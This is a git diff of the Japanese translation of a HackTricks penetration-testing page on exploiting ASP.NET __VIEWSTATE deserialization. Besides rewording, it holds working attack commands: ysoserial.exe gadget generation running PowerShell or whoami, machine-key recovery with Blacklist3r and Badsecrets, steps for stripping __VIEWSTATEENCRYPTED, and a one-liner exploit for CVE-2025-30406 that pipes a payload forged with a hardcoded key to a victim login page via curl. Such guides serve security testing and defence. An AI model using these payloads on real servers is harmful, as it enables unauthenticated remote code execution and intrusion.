diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 146012220..5c8799c1b 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -1,7 +1,9 @@ -# __VIEWSTATEの悪用(秘密を知らなくても) +# __VIEWSTATEの秘密を知らずに悪用する {{#include ../../banners/hacktricks-training.md}} + + ## ViewStateとは **ViewState**は、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムです。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持される値がbase64エンコードされた文字列にシリアライズされます。これらの文字列は、隠しViewStateフィールドに配置されます。 @@ -10,7 +12,7 @@ ViewState情報は、以下の特性またはその組み合わせによって - **Base64**: - `EnableViewStateMac`と`ViewStateEncryptionMode`属性の両方がfalseに設定されている場合に使用されるフォーマットです。 -- **Base64 + MAC(メッセージ認証コード)有効**: +- **Base64 + MAC (メッセージ認証コード) 有効**: - MACの有効化は、`EnableViewStateMac`属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。 - **Base64 + 暗号化**: - `ViewStateEncryptionMode`属性がtrueに設定されている場合、暗号化が適用され、ViewStateデータの機密性が確保されます。 @@ -19,10 +21,10 @@ ViewState情報は、以下の特性またはその組み合わせによって 画像は、.NETフレームワークのバージョンに基づくASP.NETにおけるViewStateの異なる構成を詳細に示した表です。内容の概要は以下の通りです: -1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する方法はありません。 +1. **任意の.NETバージョン**において、MACと暗号化の両方が無効な場合、MachineKeyは必要なく、したがってそれを特定する適用可能な方法はありません。 2. **4.5未満のバージョン**では、MACが有効で暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は「Blacklist3r」と呼ばれます。 -3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - Future Development」の仕事です。 -4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ(両方がtrue、または一方がtrueで他方がfalseの場合)でMachineKeyが必要です。MachineKeyは「Blacklist3r」を使用して特定できます。 +3. **4.5未満のバージョン**では、MACが有効か無効かにかかわらず、暗号化が有効な場合、MachineKeyが必要です。MachineKeyを特定するのは「Blacklist3r - 将来の開発」のタスクです。 +4. **4.5以上のバージョン**では、MACと暗号化のすべての組み合わせ(両方がtrueであるか、一方がtrueで他方がfalseであるか)はMachineKeyを必要とします。MachineKeyは「Blacklist3r」を使用して特定できます。 ### テストケース: 1 – EnableViewStateMac=false および viewStateEncryptionMode=false @@ -38,17 +40,17 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ``` ### Test case 1.5 – Test case 1と同様ですが、ViewStateクッキーはサーバーによって送信されません -開発者は**ViewState**をHTTPリクエストの一部として送信しないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\ -**ViewState**が**存在しない**場合、その実装は**ViewStateのデシリアライズに起因する潜在的な脆弱性**から**安全**であると仮定するかもしれません。\ +開発者は**ViewState**をHTTPリクエストの一部として送信されないように**削除**することができます(ユーザーはこのクッキーを受け取りません)。\ +**ViewState**が**存在しない**場合、その実装はViewStateのデシリアライズに起因する潜在的な脆弱性から**安全**であると考えるかもしれません。\ しかし、それは事実ではありません。リクエストボディに**ViewStateパラメータ**を追加し、ysoserialを使用して作成したシリアライズされたペイロードを送信すれば、**ケース1**に示されているように**コード実行**を達成することができます。 ### Test Case: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false -特定のページに**ViewState MAC**を**有効にする**ためには、特定のaspxファイルに以下の変更を加える必要があります: +特定のページに**ViewState MAC**を**有効**にするためには、特定のaspxファイルに以下の変更を加える必要があります: ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` -全体のアプリケーションに対しても、以下に示すように**web.config**ファイルに設定することで実行できます: +全体のアプリケーションに対しても、以下に示すように**web.config**ファイルに設定することができます: ```xml @@ -68,9 +70,9 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M --encrypteddata : __VIEWSTATE parameter value of the target application --modifier : __VIWESTATEGENERATOR parameter value ``` -[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用に、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。 +[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) は、既知の machineKeys を特定できる別のツールです。これは Python で書かれているため、Blacklist3r とは異なり、Windows 依存性はありません。.NET viewstates 用には、「python blacklist3r」ユーティリティがあり、これが最も迅速な使用方法です。 -viewstate と generator を直接提供することができます: +viewstate と generator を直接提供することもできます: ``` pip install badsecrets git clone https://github.com/blacklanternsecurity/badsecrets @@ -100,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv --generator = {__VIWESTATEGENERATOR parameter value} ``` -サーバーによって `_VIEWSTATEGENERATOR` パラメータが **送信されない** 場合、`--generator` パラメータを **提供する必要はありませんが、これらの** パラメータは必要です: +サーバーによって`_VIEWSTATEGENERATOR`パラメータが**送信されない**場合、`--generator`パラメータを**提供する必要はありませんが、これらのパラメータは必要です**: ```bash --apppath="/" --path="/hello.aspx" ``` @@ -110,9 +112,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv **この場合、** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **モジュールは開発中です...** -**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**未暗号化**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、未暗号化のペイロードを送信しても、処理されます。** +**.NET 4.5以前では、** ASP.NETは**`ViewStateEncryptionMode`**が_**常に**_に設定されていても、ユーザーからの**暗号化されていない**\_`__VIEWSTATE`\_パラメータを**受け入れることができます**。ASP.NETは**`__VIEWSTATEENCRYPTED`**パラメータの**存在**のみを**確認します**。**このパラメータを削除し、暗号化されていないペイロードを送信しても、処理されます。** -したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) コマンドを**ケース2**で使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。 +したがって、攻撃者がファイルトラバーサルのような別の脆弱性を介してマシンキーを取得する方法を見つけた場合、**ケース2**で使用された[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)コマンドを使用して、ViewStateのデシリアライズ脆弱性を利用してRCEを実行できます。 - ViewStateのデシリアライズ脆弱性を悪用するために、リクエストから`__VIEWSTATEENCRYPTED`パラメータを削除してください。そうしないと、Viewstate MAC検証エラーが返され、悪用は失敗します。 @@ -136,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw --IISDirPath = {Directory path of website in IIS} --TargetPagePath = {Target page path in application} ``` -IISDirPathとTargetPagePathの詳細な説明については、[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +IISDirPathとTargetPagePathの詳細な説明については、[こちらを参照してください](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)。 または、[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets)(ジェネレーター値付き)を使用して: ```bash @@ -153,20 +155,20 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認してください。 +ViewStateのデシリアライズ脆弱性の成功した悪用は、攻撃者が制御するサーバーへのアウトオブバンドリクエストを引き起こし、ユーザー名を含みます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができる概念実証(PoC)で示されています。悪用プロセスの詳細や、MachineKeyを特定するためにBlacklist3rのようなツールを利用する方法については、提供された[成功した悪用のPoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)を確認できます。 ### テストケース 6 – ViewStateUserKeysが使用されている **ViewStateUserKey**プロパティは、**CSRF攻撃**に対して**防御**するために使用できます。そのようなキーがアプリケーションで定義されている場合、これまでに議論した方法で**ViewState**ペイロードを生成しようとすると、**ペイロードはアプリケーションによって処理されません**。\ -ペイロードを正しく作成するために、もう1つのパラメータを使用する必要があります: +ペイロードを正しく作成するためには、もう1つのパラメータを使用する必要があります: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` ### 成功したエクスプロイトの結果 -すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは「**500 Internal server error**」で応答し、応答内容は「**このページの状態情報は無効であり、破損している可能性があります**」となり、OOB リクエストを取得します。 +すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが**成功**した場合、サーバーは“**500 Internal server error**”という応答を返し、応答内容は“**このページの状態情報は無効であり、破損している可能性があります**”となり、OOB リクエストを取得します。 -[さらに詳しい情報はこちらを確認してください]() +[さらなる情報はこちらを確認してください]() ### リフレクションを介したASP.NETマシンキーのダンプ (SharPyShell/SharePoint ToolShell) @@ -201,22 +203,20 @@ curl "http://victim/page.aspx?__VIEWSTATE=" ## 2024-2025年の実世界の悪用シナリオとハードコーディングされたマシンキー -### マイクロソフトの「公開されたマシンキー」波(2024年12月 – 2025年2月) -マイクロソフトの脅威インテリジェンスは、*machineKey*が以前に公的なソース(GitHub gists、ブログ投稿、ペーストサイト)で漏洩していたASP.NETサイトの大規模な悪用を報告しました。敵対者はこれらのキーを列挙し、WAFの長さ制限を回避するために新しい`ysoserial.net` 1.41の`--minify`および`--islegacy`フラグを使用して有効な`__VIEWSTATE`ガジェットを生成しました。 +### Microsoftの「公開されたマシンキー」波(2024年12月 – 2025年2月) +Microsoft Threat Intelligenceは、*machineKey*が以前に公的なソース(GitHub gists、ブログ投稿、ペーストサイト)で漏洩していたASP.NETサイトの大規模な悪用を報告しました。敵対者はこれらのキーを列挙し、WAFの長さ制限を回避するために新しい`ysoserial.net` 1.41の`--minify`および`--islegacy`フラグを使用して有効な`__VIEWSTATE`ガジェットを生成しました: ```bash ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ --validationkey= --validationalg=SHA1 \ --decryptionkey= --decryptionalg=AES \ --generator= --minify ``` -静的キーを回転させるか、Web .configで*AutoGenerate*キーに切り替える(``)ことで、このクラスの攻撃を軽減できます。 {{#ref}} - -{{#endref}} +静的キーを回転させるか、Web .configで*AutoGenerate*キーに切り替えることで(``)、この種の攻撃を軽減できます。 ### CVE-2025-30406 – Gladinet CentreStack / Triofoxのハードコーディングされたキー Kudelski Securityは、複数のCentreStack / Triofoxリリースが同一の`machineKey`値で出荷されており、ViewStateの偽造を通じて認証されていないリモートコード実行を可能にしていることを発見しました(CVE-2025-30406)。 -ワンライナーエクスプロイト: +ワンライナーエクスプロイト: ```bash ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \ --validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \ @@ -225,7 +225,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \ --decryptionalg=AES --generator=24D41AAB --minify \ | curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx ``` -CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 で修正されました – すぐにアップグレードするか、キーを置き換えてください。 {{#ref}} +CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 で修正されました – すぐにアップグレードまたはキーを置き換えてください。 {{#ref}} {{#endref}}